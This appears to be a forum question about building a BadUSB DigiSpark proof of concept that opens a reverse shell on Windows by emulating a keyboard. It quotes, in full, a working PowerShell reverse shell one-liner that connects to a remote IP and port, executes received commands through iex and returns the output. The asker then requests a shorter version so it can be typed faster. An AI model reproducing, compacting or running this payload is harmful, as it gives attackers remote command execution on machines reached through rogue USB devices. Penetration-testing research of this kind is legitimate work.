title: TCP reverse shell on Windows
body: <p>I am trying to implement a proof of concept BadUSB DigiSpark that can emulate a HID keyboard and open a reverse shell just using Windows default package (i.e. PowerShell and/or CMD).</p>
  
  <p>What I have found so far:</p>
  
  <pre><code>#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();
  [byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
  $d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
  $st=([text.encoding]::ASCII).GetBytes((iex $d 2&gt;&amp;1));$sm.Write($st,0,$st.Length)} 
  </code></pre>
  
  <p>Taken from <a href="http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html" rel="nofollow noreferrer">Week of PowerShell Shells - Day 1</a>.</p>
  
  <p>Despite working, the aforementioned code takes too long to be typed.
  Is it possible to create a reverse shell with fewer lines of code?</p>